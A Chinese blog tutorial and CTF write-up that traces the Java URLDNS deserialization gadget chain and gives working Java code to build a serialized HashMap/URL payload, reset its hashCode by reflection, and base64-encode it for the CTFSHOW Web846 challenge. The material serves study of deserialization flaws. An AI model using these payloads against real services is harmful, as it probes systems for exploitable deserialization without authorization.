URLDNS链


基础的理论写在这里了,这篇主要是跟一下URLDNS链

Java | Ethe's blog (ethe448.github.io)

URLDNS链

反序列化分三个部分

入口类、调用链和执行类

接下来将对其依次进行分析

入口类

这里的入口类是HashMap

首先HashMap里重写了readObject

image-20230318175144585

在最后的地方

将对象中的内容一个一个拿了出来然后调用了putVal函数

image-20230318175200362

这个函数具体的可以看这个HashMap中的putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict)解读_余韵啊的博客-CSDN博客

简单来说就是判断传入的内容的key的值是不是相等,不相等就加进map里,相等就覆盖

这里对key调用了hash函数,跟进去

image-20230318175918432

又调用了key自身的hashCode函数

这个hashCode是Object自带的,所以HashMap满足我们入口类的三个条件(重写了readObject,参数类型宽泛,jdk自带)

所以接下来考虑有没有可能存在某个特殊的类**M,其hashCode**方法中直接或间接可调用危险函数,当M是key时,调用key.hashCode(),就相当于调用了M.hashCode(),从而触发危险函数。

执行类

接下来我们再来看执行类

这里执行类就是URL类

跟进去找URL的hashCode方法

image-20230318180244597

如果hashCode这个参数为-1,也就是初始值时,会调用handler的hashCode方法。

这里看一下handler是个什么东西

image-20230318181515789

image-20230318183016507

是URLStreamHandler类(也是我们传入的handler),也就是说这里调用的是URLStreamHandler.hashCode

跟进去之后有个getHostAddress方法

image-20230318181320932

再往里跟会发现u是通过InetAddress.getByName获取到的ip地址

image-20230318181948359

然后再通过getHost发送一个DNS请求

至此执行类的分析完成

调用链

最后一部分是调用链,其实从入口类和执行类的分析就可以大概的看出调用链

  1. HashMap -> readObject()
  2. HashMap -> hash()
  3. URL -> hashCode()
  4. URLStreamHandler -> hashCode()
  5. URLStreamHandler -> getHostAddress()
  6. InetAddress-> getByName()

初次利用

先在bp上生成一个url接收DNS请求,dnslog也行

image-20230318184455889

根据前边说的,利用就是创建个HashMap然后把key的位置传入URL类

HashMap<Object,Integer> h = new HashMap<>();
h.put(new URL("http://xxxx"),1);

然后我们对其进行序列化,然后再进行反序列化,在反序列化时我们就可以收到一个DNS请求

但是在实验过程中,我们会发现,就算没有进行反序列化,在bp上也同样能检测到有一个发送过来的请求

image-20230318184207283

为什么会这样呢?

其实原因在put方法里

跟进去看一下可以看见

image-20230318195923449

image-20230318195933134

在我们put的时候,就已经触发了hashCode函数,相当于走完了我们的利用链,然后向目标地址发送了dns请求。

但是这并不是我们想要的

因为URL里的hashCode中的这个判断

image-20230318180244597

hashCode的初始值是-1,但是经过put走完我们的链子后,hashCode的值就会被改变,这时如果我们再执行反序列化,由于hashCode的值不再是-1,就不能再调用handler.hashCode的值从而实现向目标url发送dns请求的目的了。

image-20230318201605984

因此,这里在put后,还需要使用反射让hashCode的值重新为-1

再次利用

public class serializTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));
        Object o = ois.readObject();
        return o;
    }

}
package URLDNS;
import serializTest.serializTest;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException, IllegalAccessException {
        HashMap<Object,Integer> h = new HashMap<>();
        // 反射获取hashCode的值
        Class<?> aClass = Class.forName("java.net.URL");
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);

        URL url = new URL("http://cp9s9x.dnslog.cn");
        // 防止在put时就发送请求,干扰判断
        hashCode.set(url,1);

        System.out.println(hashCode.get(url));
        // 装入HashMap
        h.put(url,1);
        // 改回-1使反序列化时进行dns请求
        hashCode.set(url,-1);
        serializTest.serialize(h);
        System.out.println(hashCode.get(url));

        Object unserialize = serializTest.unserialize();
        System.out.println(unserialize);

    }
}

image-20230318204055248

image-20230318204014975

CTFSHOW Web846

image-20230319153251549

为了实现这个目的,我们可以把序列化的内容写到一个输出流里,然后用toByteArray将字节流转换为字节数组,再用base64编码输出

修改后的代码为

        HashMap<Object,Integer> h = new HashMap<>();
        // 反射获取hashCode的值
        Class<?> aClass = Class.forName("java.net.URL");
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);

        URL url = new URL("http://c83f8a14-f34c-4106-ae2b-0f835c562ad4.challenge.ctf.show");//网址最后的斜杠要删掉
        // 防止在put时就发送请求,干扰判断
        hashCode.set(url,1);
//
//        System.out.println(hashCode.get(url));
        // 装入HashMap
        h.put(url,1);
        // 改回-1使反序列化时进行dns请求
        hashCode.set(url,-1);
//        serializTest.serialize(h);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(h);
//        System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));
        byte[] buf = byteArrayOutputStream.toByteArray();
        // base64编码
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(buf);
        System.out.println(base64);

image-20230319155736513

然后以post方式提交就行了

image-20230319155752794


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录